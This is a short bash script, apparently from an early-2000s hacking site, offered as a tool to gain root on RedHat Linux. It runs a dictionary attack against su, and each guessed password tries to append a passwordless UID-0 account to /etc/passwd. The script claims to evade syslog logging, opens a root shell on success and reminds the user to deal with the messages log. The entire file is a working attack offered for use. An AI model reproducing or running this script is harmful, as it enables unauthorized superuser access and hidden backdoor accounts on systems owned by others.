#!/bin/bash
# SUCKER.SH (SU-craCKER) by m0rBIuS of DiViSiOn 666 
# 		m0rbius@multi-ip.com.pl
# simply way to gain (d)ROOT shell using dictionary attack
# without awful syslog messages ( blekh )
# speed: about 660 words per minute (950 400 per day ;-)
# system affected: LiNuX RedHat  
# oscar goes to : TANI HOSOKAWA
#
if test "$2" = ""
then echo -e "$0 by m0rBIuS of DiViSiOn 666 \nusage: $0 new_user dict_file"
exit
else
if test `cat /etc/passwd | grep -c $1` -ne 0
then echo user $1 exist, so choose a differenr name
exit
fi
clear
echo -e "$0 by m0rBIuS of DiViSiOn 666 \nWORKING IN PROGRESS...please wait" 
while read PASS
do
if test `cat /etc/passwd | grep -c $1` -eq 0
then  
echo $PASS |( su -c "echo $1::0:0::/tmp:/bin/bash >>/etc/passwd" 2>/dev/null) &
sleep `expr 1 / 10`
kill -9 $! 2>/dev/null
else break 
fi
done < $2
if test `cat /etc/passwd | grep -ce $1` -ne 0
then clear
echo -e  "WELL DONE chakier !!! superuser $1 is now added to /etc/passwd" 
echo -e "do not forget about messages log !!! \nnow... LET'S ROCK"
su $1
else clear
echo "Sorry pal, try with another dictionary :(" 
fi
fi

#                 www.hack.co.za           [2000]#